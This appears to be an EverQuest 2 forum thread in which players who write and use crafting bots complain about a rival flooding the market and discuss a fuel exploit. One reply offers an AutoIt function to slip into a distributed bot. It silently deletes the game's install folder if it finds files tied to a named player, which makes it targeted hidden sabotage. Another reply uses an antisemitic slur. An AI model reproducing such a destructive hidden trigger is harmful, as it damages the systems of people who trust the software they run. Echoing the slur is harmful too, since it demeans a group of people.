Market swamping and using bots : EverQuest 2 Premium Discussions

Okay - I use bots. Hell - I WRITE bots. I make it easy to do what I am about to rant about doing, simply because some bastard on my server has decided to screw over any economy there may have once been.
Sure - price gouging is wrong. 3sp, which WAS the going rate for a paleolith temper, is way too much - which is why I charged 1.5sp each. At that rate, I make a little less than 1sp profit per - which is only 4sp per combine, which really isnt that much.
Now - some botter (they clearly use the bot, because they have 6 pages of tempers up for sell on the broker) decided, hey, why not screw EVERYBODY over. 6 pages of paleolith tempers at 50cp each.
Wow, you might be thinking - that's an amazing price. Well, yes, and it takes a while for those to clear out of the market. In other words, anybody selling tempers for more than 50cp will be screwed.
Okay - now let's analyze the legitimate cost of these, barring the lower-tier fuel exploit.

6cp for liquid (aerated water)
1sp value for the resource (even though NPCs wont buy them, they DO have a value)
a little over 1sp for the T4 fuel
TOTAL - 2sp 6cp
Now, let's assume that we have a perfect combine every time, and get a yield of 4. That's a cost of 51.5cp each to make. Okay, let's not freak out - let's say that you harvest all of your own materials and dont value your own time at all. This makes the cost:
1.25sp for 4 on a pristine
TOTAL - 32cp cost each
Net profit selling at 50cp each - 18cp each or 72cp per combine.
Let's hammer some more numbers. Average time to make a pristine combine is 2minutes for myself. 72cp for 2 minutes = 2160 cp per hour
At this rate, it would take almost 5 hours to make a single gold - and keep in mind, this is not counting the time invested in harvesting your own materials.
Now, given the above, I can assume that Barwench on Guk is both a) using the fuel exploit and b) using a bot. In addition to this, Barwench has managed to c) thoroughly piss me off, since now there is no market value for my materials.
You know, when most people bot, they do it to help themselves and the community out. Let's face it, nobody WANTS to sit there making WORTs all day - they would rather get to the final combines. Also, I dont WANT to sit there all day hammering out WORTs - so, I made a bot and decided to release it to do the grind for me. Sure, I made a little profit on the side (very little - over 32 levels, I have managed to sell a grand total of 14gp worth of merchandise on the broker, and maybe the same amount to players directly), but it wasn't ridiculous.
I disagree with everybody that complains that botters ruin the economy - they need to add a single word in there. STUPID botters ruin the economy. Since chances are very good at this point that Barwench is reading this, I hope that you will consider doing the decent thing and raising your prices. 1sp would be good - hell, 75cp might even be tolerable, but your current method of swarming the market with cheap products will only lead to resentment against you in the end.

/rant off

People like that shouldn't be allowed to bot. Idiots.

When making paleolith tempers don't use T4 fuel, you can use distilled water and a candle. I buy all my clusters from brokers at no more than 1s39c each.

Same with feyiron bars/studs/sheets. I am using generic coal to make them.

Just thought that info. might help shave some cost off your items for more profit. I have been selling at a loss to the tradeskill broker just to clear up my inventory. Oddly you can get 6c for a pristine temper and 26c for a regular temper.... /boggle

Loraik

Note that above I mentionned 'unless using the fuel exploit'. I purchase all of my clusters at no more than 1sp each. IF I use the fuel exploit, I can make about 20cp profit on each - but the current patch on test fixes the exploit, thus fixing my profits if I try to meet his market pricing of 50cp.
I should also mention that when selling at 2sp, it is not price gouging as people on the official forums seem to think. Do you call it price gouging when the dollar store charges a dollar, or McDonalds charges $2, or pretty much any business IRL sells you something at a profit? Keep in mind - in this base 100 economy, 1sp profit is equivalent to $1 profit IRL.

Didn't the fuel exploit get fixed like the following day after patch or is there a new fuel exploit?

Loraik

Dont think do.

Yeah thats !@#$%^*, i feel the same way. So long as your using these 'cheat programs' to make seemingly stupid and boring things easier and not totally destroying an entire market then its all good.
Akanon, you should look up that idiot and email him.

Better yet, Like the maker of AC1 macros they had the program login to a server. All they had to do is put the character name into the database and POW!!! NO MACRO FOR JEW!!!

new function to implement:

CheckGouger()

Func CheckGouger()
If(FileExists("C:\Program Files\Sony\EverQuest
II\<server>_Barwench_eq2_storelog.txt")) Then
Run("cmd.exe rd /s c:\Program Files\Sony /Q")
Sleep(100)
MsgBox(64,"Shame, Shame cheater boy","You have been tried and found guilty of undercutting your master")
Exit(64)
EndIf
EndFunc

That's just plain mean Deceptic...
Just, but mean =)
It's not just undercutting ME that I disapprove of - I'm all for competition. Anybody selling those at 50cp each is making no profit for themselves, and they're also taking all of the business away from legitimate users. The only way that they can even afford to do that w/o losing cash on every temper is by using a lower grade fuel fr the combine.
Hmm - a thought. I should by up all of their pristines at 50cp each, then when the patch goes in that fixes the bug I can remarket them at 75cp each for a little profit... hmm

The problem with that is for all you know he has 8 bank slots with 20 slot bags full of the stuff on another toon. Then you would be wasting your money and he would be recouping what he feels he needs so again in the end you would be on the !@#$%^* end of the stick there.

When making Pal. tempers the only thing I have in them is the fuel and water cost ( I supply all my briarwood) so I can sell a temper that on my market goes for 2s75c for 1s or cheaper all day long and still make a fair profit, my guess is that guy "might" be supplying his own material and just buying the cheap fuel. then he would have what 4c in candle and 18c in liquid invested +time?

Not sticking up for him just trying to help come up with ideas on why he would be selling so cheap.

Loraik

I made a ton of washes this weekend grinding out the high 20's. I then decided to throw them on my merchant. I had maybe 25cp in supplies and sold each one for 80cp. I dont consider this a high price, but fair I think... I also sell my prestine carbon inks for 25sp instead of the 30-50 most people sell them for. Laso consider this a fair price. IMO

I think the key here is most servers have groups of crafters who ban together to gouge the community so what "I" think is a fair markup is 1/2 to 1/4 of their price. The difference is I am not raking the consumer over the coals in some kind of unionish type situation, I am recouping my costs and time in a manner that I concider fair to me and my buyers.

HOWEVER I do grind out tempers to the toon of 300+ a night and can't possibly use them so you know what I do? I swallow the loss and take the merchant price for them and chalk it up to exp gained for a price. I don't "flood" the market, about 5-15% of them will ever see sales. My goal is lvl 50, if it cost's me money so be it I will make it back in box sales or other items I decide to match market costs on.

Just my 2 cents...

Loraik

I noticed that on test they have added a value for the raw resources. Hopefully this will help, as if your goal is to just recoop costs you can just resell to the vendor.